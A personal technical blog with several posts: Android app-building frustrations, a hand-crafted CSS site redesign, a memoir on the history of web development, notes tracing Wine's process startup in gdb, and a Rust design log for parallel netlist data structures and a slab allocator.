Android's documentation is fragmented across API references, cheesy marketing-esque videos, oversimplified "codelabs", an Apple-style "tutorial", and "quick guides". All of these felt almost intentional in how they avoid explaining "how to build a complete app from start to finish". This is before we even touch lower-level APIs, the pre-Jetpack Compose APIs, etc. Despite being the search giant, Google Search often failed to find useful resources when I encountered errors.

In terms of annoyances, for some reason Android Studio seemed quite flaky around dealing with devices and emulators, and attempting to debug exceptions which occur before the app completes launching just doesn't seem to work.

Persistent settings were the most difficult on Android because, unlike every other platform, androidx.datastore.core.DataStore is asynchronous. I was never quite able to figure out how this was supposed to integrate properly into the Jetpack Compose model, and I eventually gave up and used runBlocking to turn it into a synchronous interface.

The Jetpack Compose framework itself seems to work... fine. However, everything about it feels amazingly unpolished for something released by one of the largest tech companies in the world.

It almost feels disrespectful of developer time, a product of a company that knows it is in an untouchable monopolistic position.

Wow, that was bitter

Yeah. Sorry.

Even though the experience kinda sucked, I learned a lot. I'm going to spend so much time hacking on all the things I'd been ignoring.

If you actually want to build a native cross-platform app, I'd personally recommend Qt (although I would not use CMake).

"Introducing our new and updated user experience"

2025-04-27T00:00:00+00:00

I just completely redesigned the theme for this website. The theme is now crafted from 100% artisanal, hand-written HTML and CSS, so that it no longer looks like every other generic, somewhat-dated Bootstrap page.

This was much easier than I thought it would be, especially in this modern era where Internet users generally at least somewhat update their web browsers and thus gain support for new platform features. (Forced updates which restrict user freedoms are a net negative for the software industry, and users should ideally be allowed to run old, outdated, even insecure software if they intentionally choose to. Here I am merely referring to the ease of delivering new software.)

Although new web platform features help, the biggest stumbling blocks personally were about ways of thinking, and so I want to try to document some of those.

How do you lay out text on a page?

No really. When you open a typical current text editor or word processor program, or if you just type words into HTML, what actually happens?

Typically, words get put next to each other in the standard writing direction (i.e. left-to-right, unless you're using a right-to-left language such as Arabic or Hebrew). Once the line fills up, words are moved down to a new, empty line, and the process repeats. This corresponds to the "inline" direction of the standard CSS flow layout, although the exact semantics may differ between the web vs word processors.

However, this is not how you lay out components of a page! For that, it helps to look at the pre-digital era of publishing. Material from this era, such as newspapers and magazines, tended to (at a very high level) be laid out as "blocks" into which text, images, and other content would be placed. (As computers advanced and enabled "desktop publishing" to develop, the shape of these blocks became less restrictive.)

Here is where the first "key insight" shows up. Flow layout is fine (sorry, TeX and hot metal typesetting fans) for the step of "just write the words", but it is not enough for laying out a web page, which is a page, which means it contains elements beyond "just the words" (e.g. headers, footers, navbars).

Rectangles all the way down

Here's where we encounter a huge limitation with standard CSS flow layout. The "block" direction only goes down. It's very hard to put blocks next to each other. (I first saw this explained this succinctly by Eevee.)

I've been quite aware of features such as flexbox and grid which were supposed to help fix CSS layout woes, but it took way too long to actually put all the ideas together.

These new CSS layout tools allow you to divide up rectangles into smaller rectangles. These smaller rectangles can easily go next to each other in addition to the default of above/below each other. On a pre-digital dead-tree page, said page would be subdivided into fixed rectangles. In the modern digital era, the same can be done to the viewport, but now with additional flexibility and dynamism because it is On The Computer. You then put the words you have written inside of these rectangles.

Dividing up space in this way is not just for building "application UIs" but is also important for "just" documents the moment these documents need to be presented in a "nice" way. If anything, the inspiration/causality were likely the other way around! (This is probably one of the consequences of being spicy-brained and having spent way too much time on the computer.)

Viewing page layout in terms of subdividing rectangles might help to explain the wholehearted adoption of using box-sizing: border-box; by designers everywhere.

Seeing the invisible

One thing that I constantly struggled against was that I simply could not understand why any page design I came up with constantly looked "old and ugly" no matter what I tried changing. There are smaller issues which I will discuss later, but it took someone else to finally point out that the biggest thing I had overlooked was literally invisible.

I had been completely failing to see the spacing between text and blocks. This includes what in CSS would be called "margin" or "padding" but also features such as line height. Many modern websites have much more empty space between text than default browser settings. Although I am not certain on the causality, I suspect that larger, higher-resolution screens allowed for much more flexibility in this department.

Although it was used in a "positive" way, this idea could be described as infohazardous. The instant I was told this piece of information, I suddenly started perceiving the empty spaces everywhere (both on websites and on offline irl media). Something which I had been silently surrounded by my entire life suddenly stood out and made itself known.

(TeX and hot metal typesetting fans, this means I finally see some of what you can see.)

Actually making changes to my website afterwards was still based on vibes, but I am comfortable enough listening to vibes once I have "enough" conscious understanding of how they work.

Everything else

Browser default fonts and font sizes feel somewhat dated because, well, they're the default. I'm not a huge typography geek, but I do understand it well enough once I was able to disentangle it from the spacing/padding issue. Fixing typography is simple enough with a few lines of CSS.

A very notable sub-feature of browser default styling is the color of hyperlinks. Once again, the defaults have been the defaults for a very long time. However, there are usability arguments for why hyperlinks should remain distinguishable, so on this page I have chosen to keep underlines as well as a hint of the classic blue/purple colors, but they've been tweaked just enough to not feel "ugly" due to datedness.

A number of useful CSS features manage to ship in the past decade. Most notable for my purposes:

An aside on retrotech

This website has a number of "retro" design elements, yet it also embraces quite a few modern ideas.

Even though there are legitimate frustrations fueling reactions such as the motherfucking website, technology should improve over time! Not only have I been able to make use of newer CSS features and layout strategies, I'm also able to:

run an editor, a web browser, and a development server at the same time
- on a laptop
- with the trust that it probably isn't going to crash (even though I do have the "spam Ctrl+S" habit of the era)
debug my web page
- do you really want to live without modern devtools? even if you are restricting yourself to HTML4+CSS1, that sounds like a frustrating experience
not have to debug my web page (across browsers and platforms)
- standardization helps!
edit images and pixel art with free (as in beer) software
- which I could download from the internet, without having to think about how long it will take
- watch a video explaining how to use said software, for free
- some of this software even nominally respects my freedoms!

I hope I'm picking a good compromise (and not perpetuating the idea that website redesigns are always negative).

A history of "Web" tech, from a "non-Web" developer

2025-03-27T00:00:00+00:00

I recently had to demonstrate to a partner how application development on Windows worked "back in the day" (using Visual Studio (not VSCode) and MFC). During the subsequent discussion, I realized that I have an unusual perspective on the history of the software ecosystem over the past decade, and that this information is useful to have in written form. Thus began this post.

The process of organizing and transferring all of these thoughts from headspace to the world of words really helped put things into perspective. I learned a lot merely by writing this, and I feel like I have much more clarity on the direction I want to see "software" and "tech" go. Despite the problems, I don't think we're at "peak tech" yet!

The prehistoric era

Many people currently seem to be waxing nostalgic about the "prehistoric" era of Web development. Unfortunately, I was a child for most of this era and thus struggle to retrieve memories in the form of a coherent linear timeline. We must make do with fragments.

In "absolute" time, these events ranged from approximately 2001 to 2010.

I first started showing interest in learning how websites worked when I discovered a combination of two desktop web browser features: "view source", and the ability to save an offline copy of a page together with all of its referenced files. The moment I managed to have a copy of a page, it was almost instinctive to want to start modifying it. I had already been introduced to the raw concept of "programming," so the idea of being able to change somebody else's website wasn't foreign or unthinkable, but the actual discovery of these browser features still relied on undirected wandering and a childlike sense of patience and joy.

Once this interest was spotted, my father tried to encourage it — he bought me a book (a physical book, made out of dead trees) on HTML and Web development. From this, I learned about the existence of CSS and JavaScript and generally got a high-level overview of how webpages were put together. These fundamental primitives are how web pages continue to work today!

I have the following concrete memories from this era:

I somehow discovered "that" "analog clock which follows the mouse cursor" script and copied it onto one of my pages. Here is a modern implementation.
The book made mention of "server-side" logic which I couldn't use, because I didn't have "a server"
- However, the book mentioned the use of a mailto: URL in forms as a potential poor-man's substitute!
I saw a demo of Embedded OpenType in the book and wanted to use the "cool" typeface the book author was using. I bothered my father to download the EOT converter tool, WEFT, using the broadband connection at his workplace, but I didn't understand that this tool didn't actually contain the cool typeface in question.
I discovered that double-clicking a .js file opened it in this mysterious tool called "Windows Script Host". The normal Web JavaScript examples didn't work in this environment, but I didn't understand why.
- Researching it using the tools available at the time led to the discovery that Windows Script Host could also run VBScript, and that you could also use this language in HTML (as long as the user was using IE).

At this time, I also had a book on "Visual C++" which made mention of Microsoft-specific technologies for this "emerging Internet era" — DCOM, ISAPI, etc. These were all far too complex for me to understand at the time, so I never looked into these any further. However, the exposure to these technologies stuck around as a reminder of what might someday be possible. (Incidentally, I seem to recall Paypal having .dll in its URLs during this era, possibly indicating use of ISAPI?)

One of the many benefits of the Web as a technology was supposed to be the ease of sharing content with others. I didn't have any friends at the time who shared the interest in taking technological systems apart, and so I did not significantly engage with the Internet as a community. (However, I do recall the first moment I discovered Wikipedia — "Wait, editing this really does change somebody else's webpage? Not just my copy of it? This is amazing! I better not break it though...")

Possibly my only interaction with sharing content happened thanks to friends who did play a certain online digital pets game. In order to show off some "because I can, because I understand the technology better" skills, I recall attempting to write CSS rules with sufficient specificity to override the background color to black across the entire player-customizable shop page.

In retrospect, this was an amazing exposure to ideas which are possible, and this happened thanks to the exposure to advanced, "enterprise-grade" technology! Although many of these technologies were proprietary and are now long-deprecated, they enabled me as child to dream big. Someday, perhaps I could also build a corporation like that...

The project, and the beginnings of the hell era

In 2013, I and a few co-conspirators started a project that attempted to (at a very high level) make robotics, embedded systems, and physical computing more accessible. This project spiralled out of control and otherwise ran into many many problems, but here I would like to focus on the "Web"-specific ones.

One co-conspirator observed that "traditional" desktop UI toolkits (e.g. MFC, WinForms, or even cross-platform ones like Qt) were quickly losing developer mindshare, and they predicted correctly that the focus was shifting towards using "Web" technologies. Web technologies seemed to offer many advantages, including being already cross-platform, having faster iteration cycles, and much more seriously exploring paradigms such as hot reloading and live coding.

At this point in time, the US smartphone ownership rate had just crossed 50%, but traditional desktop and laptop computers were still "a thing." Although companies including Google had been adopting "mobile first," this didn't seem like a reasonable choice for "serious" work.

So, how do you actually build a "serious" "desktop-first" application using Web technologies?

If you didn't live through this era, you might instinctively say "Just use Electron!" However, you couldn't "just" use Electron:

For starters, Electron did not exist yet and certainly not by that name. The initial commit for "Atom Shell" had only been created a few months prior to our project starting
Others' attempts at implementing this idea were mostly being done with node-webkit. It certainly made for some nice demos, and it worked well enough for more "typical" applications, but it had quite a few problems for my incredibly-high standards of "serious, professional" quality:
- It didn't have an "obviously correct" final packaging and deployment strategy for all the major desktop platforms all at once (as opposed to needing a separate build machine for each platform). This made setting up CI/CD complicated.
- In particular, it didn't have a good strategy for cross-platform interfacing with physical hardware
  - WebSerial and WebUSB didn't exist yet, and so there was no "standard" way to do this
  - The serialport package did exist for Node.js, but it requires native code
  - Native code in the Node.js ecosystem was usually built with node-gyp, which didn't have a clear cross-compiling procedure
Node.js and the npm ecosystem had existed for a few years, but they weren't yet the consensus JavaScript ecosystem!
- Node.js code wasn't Web code, and you needed special tools such as browserify to turn it into such
- npm mostly didn't contain Web code, and there existed separate package ecosystems for the web such as bower
- Needing to use a bundler tool in the first place wasn't the consensus workflow

Looking at the state of the ecosystem (and not yet feeling comfortable as an "active" participant in it), I concluded that it was too janky for my tastes. Instead, I dug around and came across a piece of technology which seemed like it should've solved all of the above problems: XULRunner, the underlying engine which powers Firefox and Thunderbird. This seemed like the perfect choice — full access to Web technologies, capable of interacting with traditional WIMP desktop ideas (i.e. legacy non-Web technologies), a documented deployment procedure, and with ctypes-style FFI built-in (at no point requiring a native compiler).

It was obvious that the Mozilla-specific technologies (XUL and XBL) were dead-end, so the plan was always to use them as little as possible. For the project, we created a minimal XUL document which immediately loaded a HTML5 document. We would only use nonstandard technology for the ever-diminishing functionality which wasn't yet accessible to HTML.

The myriads of incompatible module systems

Unfortunately, we quickly ran into something which wasn't yet usable — modules!

In order to develop code with meaningful abstraction boundaries, many programming languages have tools for dividing code into modules. Unfortunately, at the time, JavaScript didn't have one. Or at least, it didn't have one.

The modern consensus for modules seems to be to use ES6 modules, or ESM. ES6, the 6th edition of the ECMAScript standard (a formal document describing how the programming language should work), was being actively developed, and browsers were slowly rolling out individual experimental features one-by-one. Unfortunately, ESM was not one of them.

I clearly understood the need for a module system from the very beginning, and the first choice I reached for was Mozilla's proprietary implementation. Although it was nonstandard and had unusual semantics, it existed and worked and was being used extensively throughout the Mozilla codebase. Because npm was not yet the consensus JavaScript package manager, I didn't see a good reason to take a dependency on it nor on Node.js (after all, we already have a JS engine inside XULRunner!). The project already had a preexisting build system duct-taped together out of Python and shell scripts, further amplifying my "why do we need another language?" hesitation.

As the JS ecosystem continued to grow at an accelerating pace, npm started gradually winning the package ecosystem war. At the time, I was not familiar enough with social dynamics to see this, but I did see the consequence wherein its module format, CommonJS, increasingly took hold.

Another module system which existed at the time was AMD, or Asynchronous Module Definition, and attempts were also made to unify the formats into UMD, or Universal Module Definition. This post gives examples of each of these formats. In short, the ecosystem looked like this:

As CommonJS gained ground, the project migrated all of its own modules to the format. However, as bundlers were not yet a universal part of the workflow, I once again ended up going against the grain by choosing to use Mozilla's Jetpack SDK (which was already part of XULRunner and thus didn't require installing or deploying anything extra) as the CommonJS implementation.

The framework wars

As someone who grew up programming with "traditional" UI toolkits, I had no instinct to want a "framework" for building the application. I embraced utility libraries like jQuery, but I had to be actively shown what was popular on "the Web."

At this time, AngularJS (Angular 1) was the popular "large" framework for helping to build "single-page applications." Its bidirectional data bindings promised to simplify a lot of manual work I was doing, and so I decided to go for it. The model for integrating AngularJS into the page was straightforward for someone familiar with the "old" way of doing things — you just had to load it in a <script> tag. Everything else was "just JavaScript."

However, as the project got further along, the AngularJS programming model was proving to be rather clunky. Along with having a lot of "magic" (i.e. hidden details and assumptions) in its implementation, it didn't seem to be saving us as much work as was promised. Someone on the team was itching to make a change, and the brand-new framework at the time was React.

At the time, the React tutorial didn't feel particularly compelling, and JSX felt like an unnecessary step slowing down application launch. I certainly perceived it as quite possibly yet another fad.

Miscellaneous woes

In start contrast to all of the above-described ideas, one feature which I eagerly adopted and which in many ways drove design decisions was asm.js (which was also new at the time).

Because we were dealing with embedded systems, we had to deal with C code. C has a reputation for not being very beginner-friendly, so (after a massive detour) we decided to use Lua for high-level logic and use C only for drivers and real-time control (MicroPython once again didn't exist yet).

One design requirement was that we wanted to be able to run this high-level code on a computer in simulation in addition to on a physical system. This meant that we needed a way to run Lua inside our desktop application. To stay aggressively cross-platform, I chose to handle this by compiling the Lua interpreter to JavaScript (WebAssembly was years away from existing, and asm.js was the early attempt to show why it would be useful and wanted).

Even though this was also experimental technology at the time, Mozilla had already shipped ahead-of-time-compilation optimizations for asm.js, and one of its main selling points was "it's just JavaScript." In theory, nothing special had to be done to make it work (on the "library consumer" end), and it'd fit right in, or so I thought. Oh how wrong I was!

Even though asm.js "just produces JavaScript code," it doesn't culturally fit the Web ecosystem. C code simply has vastly different assumed knowledge in the developer. First of all, the toolchain for building asm.js, Emscripten, didn't have Linux binary releases yet. This didn't bother me, as I was familiar with having to painfully glue together arm-none-eabi toolchains for the microcontroller, and so I just compiled a tarball that was shared between my development machines and my CI server. However, wrangling compilers wasn't a typical Web developer activity.

Even worse, because I was using Linux as my primary development platform and as the CI platform, the entire rest of the (monolithic) build system was full of Linux-isms and could't run on any other platform. At the time, I didn't understand why this was a problem as the final build artifacts themselves were indeed truly cross-platform, but this further alienated Web-focused developers.

At some point, this issue became so heated that a co-conspirator hacked together a way to bypass the duct-taped-together build system (by relying on periodic snapshots of all the annoying-to-generate outputs). This hack included a script which launched the operating system's copy Firefox as if it were XULRunner, loading our application in debug mode instantly (because the application didn't use npm or a bundler workflow, this just worked).

Unfortunately, this wasn't enough to resolve all of the culture clash. Even though we now had a Lua interpreter in JavaScript, the API surface was still a C interface. This meant that passing strings from JS to Lua involved understanding very un-JavaScript-like concepts of heap allocations, pointers, ABIs, asm.js's particular implementation of these, and the Lua VM's virtual stack. Because both ends were dynamic languages, I naturally wanted to abstract this away, and I chose to do so by writing automagic thunk-generating functions between the languages. I then immediately suffered the consequence that nobody else was able to understand how this worked.

By this point, the project had ballooned in scope and used Python, Lua, and JavaScript in different places. Much haphazard porting of libraries between the languages happened when we ran into unavailable functionality.

I should've learned many painful lessons about programming languages, what they assume about developers, and how they get used by humans in practice, but neurodivergence meant that this lesson would take the next decade to truly sink in.

The end, and the true rise of Web

At some point, I crashed and burned and the project failed.

I didn't pay attention to many of the associated technologies for several years.

The dust settled on the mess. Many problems were fixed. Some problems got worse.

"Web" proceeded to eat the entire world. More and more applications are now developed using Electron. Mozilla managed to lose just about every advantage that they already held.

npm won out as the definitive package manager and package registry for JavaScript, despite some spectacular flaws. More generally, having a "definitive" package registry grew into an expectation for many programming languages:

Some languages already had one: Perl had CPAN, Python had PyPI, etc.
Some languages' package registries grew massively, such as the JVM's Maven Central
Some languages gained one, such as .NET's NuGet Gallery
New languages such as Rust released to stable with crates.io

Using a bundler became the expected workflow for frontend development. This made it much easier to integrate code together, and this extended to beyond just JavaScript (for example, bundlers like Webpack also handle images, CSS, and WebAssembly).

Composability in Web frontend development became much more possible and much smoother now that these issues were settled.

React ended up not being a fad, but other web frameworks continued to proliferate. Massive ecosystems grew up around them. This continually-shifting environment seems to have discouraged the creation of detailed, old-school tutorials such as books — they'd quickly fall out of date and become irrelevant. "Getting started" became increasingly dominated by and dependent on quickstart tools and project templates.

In contrast to the tooling of old, the new ways of working now seem to discourage users from knowing how the internals work. In the "prehistoric" era, users needed to understand. Tools were simply not yet capable of hiding much of the complexity. Solving these issues made some types of programming ("I want to quickly launch a service which does X") more accessible at the risk of gradually forgetting the fundamentals and the power of incremental discovery ("I was inspired after clicking 'view source' and built up from there").

If we forget too much, we run the risk of getting stuck where we are, with no chance of further improvements.

Let's not do that.

Notes on Wine architecture and process startup

2025-02-23T00:00:00+00:00

I've had a number of project ideas floating around for a long time which would all at some point involve emulating limited parts of Windows. I wanted to know how easy it would be to reuse only some of the Wine source code. None of the ideas involve just running a Windows program directly like a normal user (otherwise I'd just use Wine as is).

In order to even be able to mentally scope out and estimate the complexity of some of these ideas, I wanted to know "various low-level details of how Wine works." The Wine Architecture Overview doesn't go into the level of detail I wanted to know, and this question is rather poorly-scoped and open-ended, so I finally decided to get my hands dirty and figure it out for myself. Since I had to do that, I figured I would share my thought process and what I have found.

This is also an attempt to convince myself to do more technical writing that isn't a "fully complete" deep dive into something, and to hopefully convince and remind myself that not every piece of writing has to be absolutely perfect.

Wine process startup

One place to start investigating low-level details is to start from the very beginning. We start by installing Wine (both the wine64 and wine32 packages) and mingw-w64 on a Ubuntu 24.04 test virtual machine. We can compile a "hello world" program using mingw-w64 and run the result in Wine. Once that works, we can start digging.

Debian-related complexity

On Ubuntu, /usr/bin/wine is a symlink to /etc/alternatives/wine (the Debian "alternatives" system) which in turn points to /usr/bin/wine-stable.

This in turn is a Debian-packaging-specific shell script which will suggest the necessary commands for installing the wine32 package if it cannot find it. This finally invokes /usr/lib/wine/wine or /usr/lib/wine/wine64.

At this point, I download the Ubuntu package source (using apt-get source) to reference alongside the (more-easily searched but a newer version) mirror of Wine's code on GitHub. After changing into the resulting wine-9.0~repack directory, running gdb on Wine's binaries loads up the correct source code.

Initial loader

When poking around Wine's source code, the loader/ directory immediately stands out. Inside loader/main.c, there is eventually a call to __wine_main inside ntdll. However, tools/wine/wine.c also calls this function, and the loader/ directory also contains a "preloader" which does even more complicated stuff. Which one of these is actually used?

This is the point where using gdb is helpful. Even though the code isn't a perfect match, we can set breakpoints on _start, main, and wld_main (from the preloader). When we run the program, it ends up hitting the entry point of the normal glibc dynamic loader (ld.so) followed by main in loader/main.c. This seems to indicate that the /usr/lib/wine/wine and /usr/lib/wine/wine64 binaries are compiled from loader/, the preloader is not used, and tools/wine/wine.c does something else entirely.

Because I also wanted to understand how Wine implemented WOW64 and why the Linux gaming/tech press (especially Phoronix) was so excited about the "PE conversion" project, I intentionally created a 32-bit test executable and loaded it with the wine64 binary.

Other than mangling some path-related stuff, this loader quickly calls into dlls/ntdll/unix/loader.c.

ntdll, ELF version

The initial loader loads ntdll using the dlopen function which can only open ELF libraries. This ends up loading /usr/lib/x86_64-linux-gnu/wine/x86_64-unix/ntdll.so. At this point, the environment is still an entirely normal Linux user process.

The /usr/lib/x86_64-linux-gnu/wine/x86_64-unix/ contains only very few ELF .so files, and they all seem to relate to libraries where Wine needs to interact with the host system.

One of the first things that __wine_main does is to check for the WINELOADERNOEXEC environment variable. If it is not set, some annoying stuff is done in order to do something which is somehow related to architecture switching and reinvoking the preloader. However, since the preloader isn't being used and the entire point was to investigate "low-level" details, I didn't care about this.

In order to simplify tracing in gdb and not have to deal with following the process as it calls exec, I set the WINELOADERNOEXEC environment variable in the current shell. When the program is rerun, it goes through the "real" process startup.

During the "real" startup, the calls to virtual_init and init_environment perform yet more setup which I was not very interested in. However, init_environment did map locale-related data into memory (which can be seen in gdb using info proc map). Code finally flows into the start_main_thread function.

No WOW64 for you

The start_main_thread function starts setting up data structures that would be found in a Windows process such as the Process Environment Block (PEB) and the Thread Environment Block (TEB). It also launches and connects to the wineserver process.

When tracing through line-by-line, init_startup_info seems to perform a lot of work. At the end of it, we can see that /usr/lib/x86_64-linux-gnu/wine/x86_64-windows/start.exe has been mapped into memory. Uh, what is start.exe? It turns out that this is used to "start a program using ShellExecuteEx, optionally wait for it to finish."

It turns out that this version of Wine which is part of Ubuntu doesn't seem to actually support the WOW64 mode I was thinking of and which was being hyped up (where a 32-bit Windows process can be run while only requiring 64-bit Linux libraries).

Entering the PE world.

After accepting defeat and switching to the 32-bit Wine loader, it is possible to trace through the same code paths again. This time, our test executable is actually mapped into memory. Other stuff is set up, and the PE version of ntdll is mapped into memory. server_init_process_done is called, even more stuff happens, and finally signal_start_thread is called which performs the magic to switch into a "Windows-like" environment. In the 32-bit version, it calls call_init_thunk which sets up a context in order to return to LdrInitializeThunk inside the PE version of ntdll. At this point I no longer know how to set up gdb to load appropriate symbols to continue debugging.

Code past this point seems to be written "mostly as if it were Windows."

How does Wine magic work?

OpenMPT

OpenMPT is a music tracker for Windows that officially supports running under Wine. As part of that, in order to get better audio performance (reduction of pops and glitches), it can bypass all of the emulation layers and call native Linux sound APIs such as PulseAudio directly. How does it do that?

Poking around its source code, it uses winegcc to build a .dll.so file. Wine's PE loader (inside dlls/ntdll/loader.c) will attempt to process files which don't start with a MZ header as possibly being a native library. This file contains a function load_so_dll which calls back into the Linux environment and handles dealing with this. This is done by using the WINE_UNIX_CALL macro which eventually (after much fiddling) makes a call through the __wine_unixlib_handle variable in order to reach the load_so_dll inside dlls/ntdll/unix/loader.c (note the unix directory). This eventually calls dlopen, meaning that the .dll.so can directly link native Linux libraries. The rest is tied together using "build system magic."

I don't know if a .dll.so can call Windows APIs in addition to Linux APIs. If it can, I also don't know how this gets implemented.

Wine built-in libraries

Libraries for functions handling e.g. GUIs also need to interact between the emulated Windows environment and the Linux environment. Many of these also go through the same WINE_UNIX_CALL macro. However, the build system magic used for Wine's built-in libraries seems to be slightly different. I hate build systems, so I haven't poked how this works.

WOW64?

It is pretty clear that WOW64 (if it were to be enabled) works by having the libraries which need to deal with the Windows<->Linux boundary contain two sets of functions. For example, many DLLs contain both a __wine_unix_call_funcs array and also a __wine_unix_call_wow64_funcs array. One set deals with same-bitness calls while the other does whatever is needed to handle 32-bit-to-64-bit calls.

The actual steps involved in getting the CPU to run 32-bit code seem to be entirely as expected. Everything which is accessible to 32-bit code needs to be in the lower 4 GiB of the address space, and the CS segment register is changed to tell the CPU to perform the actual switch. This is the same architecture as WOW64 on Windows, and the infosec space had (very many years ago) given this the silly name "Heaven's Gate."

It is not clear why there is a connection between "converting to PE" and implementing WOW64 in this way, unless this was merely an opportunity to refactor the code into its current form.

Conclusion

I figured out what I wanted to understand. That's... about it.

Parallel-capable netlist data structures, part 2

2024-01-28T00:00:00+00:00

Issues with the current code

The throwaway code from last time has a few immediately-obvious issues:

The `connect_`/`disconnect_` abstractions aren't being used

These functions were pretty clearly suboptimal for the logic that was needed (disconnecting some existing connections and, at the same time, replacing them with connections to a newly-added cell).

This is a "simple matter of API design" that can be improved with new functions (such as explicit "swap" operations). As such, this can be deferred until "later."

Manually acquiring read/write guards and retrying operations

There are currently no abstractions to help with making sure the correct locks are acquired, causing the following issues:

Every single try_read() and try_write() manually handles errors

Every single lock operation has to be manually followed by a check for an error, potentially re-queuing the current cell and continuing, and an unwrap(). Messing this up will cause a hard-to-debug logic error (which happened at least once while I was writing the code).
You need to commit to read vs. write ahead of time

If a read lock has already been acquired, there isn't any way to "upgrade" it to a write lock. It is also not possible to subsequently acquire a separate write lock (even on the same thread) because there are already readers.
There isn't any obvious way to extend this for algorithms that require ordering

In order to support "ordered" algorithms, we need some way to perform speculative execution but buffer the actual write/modify operations until the operation commits. (In the worst case, this might result in unavoidable serialization.) There isn't an obvious way to implement this, as the only boundary identifying the "actual writes" is currently a // actual updates line.

Properly encapsulating graph operations

Through discussing this API surface with a friend, we have collectively come up with the following design:

Operations are split into an explicit "read-only" phase and a "read-write" phase.

This commits us to the restriction of "all algorithms that the netlist API helps you with must be 'cautious' as defined in the Pingali et al. paper."

Because many (and likely most of the ones we will need) operations on netlists can indeed be rewritten into this form, I will consider this a perfectly acceptable trade-off in exchange for being able to speculatively execute operations concurrently.

With this split, it also becomes possible to defer the "read-write" phase to a later time when implementing an "ordered" algorithm. The following is one way to do that:
- The data passed from the RO phase to the RW phase is explicitly stored into a struct which must be Send
- When the RO phase finishes, the RW phase isn't (necessarily) run immediately. Instead, this resulting struct is stored in some kind of commit pool.
- When the write is finally ready to commit, the RW phase is finally called (which can be from a different thread).
- If the write is instead aborted, the RW phase is never run.
- If an operation is instead unordered, the RW phase can be run immediately after the RO phase on the same thread, as an optimization.
There is a potential concern with this split: if the graph manipulating operator is "expensive" in some way, how should this cost be split? Should most of the work be performed in the read-only phase or the read-write phase? How much does this matter in practice? For now, I have chosen to ignore this problem.
The read-only phase (somehow) tells the framework which nodes will be written in the read-write phase. All locks acquired in the read-only phase will have one of the following states in the read-write phase: still read-only, upgraded to read-write, or released.

The framework will then automatically handle "upgrading" the required locks.

For an "unordered" algorithm, failure to upgrade a lock results in the current operation being abandoned and retried later.

For an "ordered" algorithm, something more complicated has to happen. The Kulkarni et al. paper explains one way to do this using iteration locks. (Note that that paper describes the commit pool as containing an undo log, rather than our implementation of storing a write callback and simply not doing the work until commit time.) This seems to make sense but requires a bunch more engineering effort, so I will simply hope that everything will work out in the end 🙃.

Okay, let's build it!

If we are going to separate out read-only and read-write phases, it would probably involve separating the phases into separate functions. In order to hold on to locks across them, we need a struct of some kind:

#[derive(Debug)]
pub struct CellLockWip<'a> {
    idx: usize,
    r: Option<RwLockReadGuard<'a, NetlistCell>>,
    w: Option<RwLockWriteGuard<'a, NetlistCell>>,
}

And a corresponding function for acquiring a lock:

impl NetlistModule {
    // ... other functions omitted

    pub fn lock_cell_for_read_ro_phase(&self, idx: usize) -> Option<CellLockWip> {
        let cell = self.cells.get(idx).unwrap();
        Some(CellLockWip {
            idx,
            r: Some(cell.try_read().ok()?),
            w: None,
        })
    }
}

Hmm, it doesn't work though...

error[E0515]: cannot return value referencing local variable `cell`
   --> sicl4_db/src/test_slab_nonblock.rs:167:9
    |
167 | /         Some(CellLockWip {
168 | |             idx,
169 | |             r: Some(cell.try_read().ok()?),
    | |                     ---- `cell` is borrowed here
170 | |             w: None,
171 | |         })
    | |__________^ returns a value referencing data owned by the current function

It turns out that no amount of trying to hack around this can make this work. The description of sharded_slab::Entry actually explains why, but I failed to realize the implications.

In a sharded_slab, it is possible for another thread to attempt to free an item that the current thread is still working on. A sharded_slab::Entry prevents this from causing problems by deferring the free until all guards are dropped. In my code, I had been making an implicit assumption that freeing an entry is only possible with a write guard held (i.e. the current thread is the only one that can possibly see the node to be freed). However, the sharded_slab crate knows nothing about the locking I am doing.

It seems like trying to hang on to both the Entry and RwLock*Guard objects should work in theory, but the limitations of the Rust borrow checker prevent this (the RwLock guard lifetime needs to be at least as long as the Entry lifetime, but this would result in a self-referential struct).

The Kulkarni et al. paper also happens to mention that freeing entries should only happen when a write operation commits. I had not considered that I would need to actually enforce this.

Solving these problems seems like it will require tighter integration between our locking rules and our memory allocator. It looks like I need to actually start implementing all of the data structures I need "for real" instead of trying to quickly duct-tape together existing pieces that only approximately do what I want.

However, at this point, it would appear that I have a decent idea what exactly I would even need to implement:

Netlist nodes are stored in an arena, "essentially a way to group up allocations that are expected to have the same lifetime"
The framework needs to somehow own/control/manage its own per-node reader-writer locks
- This is needed for the aforementioned object freeing issue
- The framework needs to know about locks in order to deal with algorithms requiring order
- Allowing the netlist framework to have visibility into locks potentially allows for more advanced work scheduling in the future
A work-stealing task queue (possibly by reusing an existing one, but it needs to know what to do with speculatively executing ordered algorithms)
Probably a slab allocator, for memory locality and to avoid hitting the system allocator extremely hard
Actually build out proper APIs mentioned at the very beginning of this article
Actually build out a proper "wire" and "port <-> wire" system like Yosys's

Okay, now let's build it!

Memory allocator

The lowest-level part of building everything "for real" is memory allocation. The internal implementation of the sharded_slab crate is inspired by a technical report from Microsoft Research entitled "Mimalloc: Free List Sharding in Action".

I spent quite some time pouring over this paper. I am not very good at serializing these thoughts into a blog post, so here is a brain dump:

We don't need a general-purpose malloc, only a closed set of types of known sizes, so we don't need the pages_direct/pages lists.
Q: Why does Mimalloc need three free lists, but sharded_slab only has two? A: With the sharded_slab implementation, the "deterministic heartbeat" functionality is lost.
- What is Mimalloc amortizing with its deterministic heartbeat?
  - Batching frees for dynamic languages — not something that we need
  - Returning memory to the operating system — unclear whether or not we will be doing that
  - Collecting the remote thread free lists
  - Collecting the thread delayed free blocks, thus moving pages off of the full list. This one is really important. Although the idea is conceptually very simple (do not waste time searching for available blocks in pages that are completely full), the introduction of the full list optimization significantly increases the engineering complexity of the allocator and required wrapping my head around far more complexity than without it.
Q: What if we don't amortize with a deterministic heartbeat? I.e. what if we instead perform local frees directly onto the one singular local free list, and only perform deferred operations after a thread completely runs out of local space?
- A: I don't have any proper proof of bounds here, but gut-feeling/intuition seems to be saying that it probably will not be big-O worse. (I tried to think of any possible pathological way to cause this style of memory allocator to end up in a situation of "each netlist node has a netlist's worth of wasted space (i.e. freed by remote threads but not reclaimed) between it and the next node" but could not come up with a way to do that unless the algorithm inherently requires that much temporary space, in which case the blame isn't on the allocator.) However, not having a deterministic heartbeat can make the variance in allocation time much worse, which seems like it's probably by itself undesirable.
Q: What is the Mimalloc paper talking about when it mentions the DELAYED vs DELAYING states? Why do we need that?
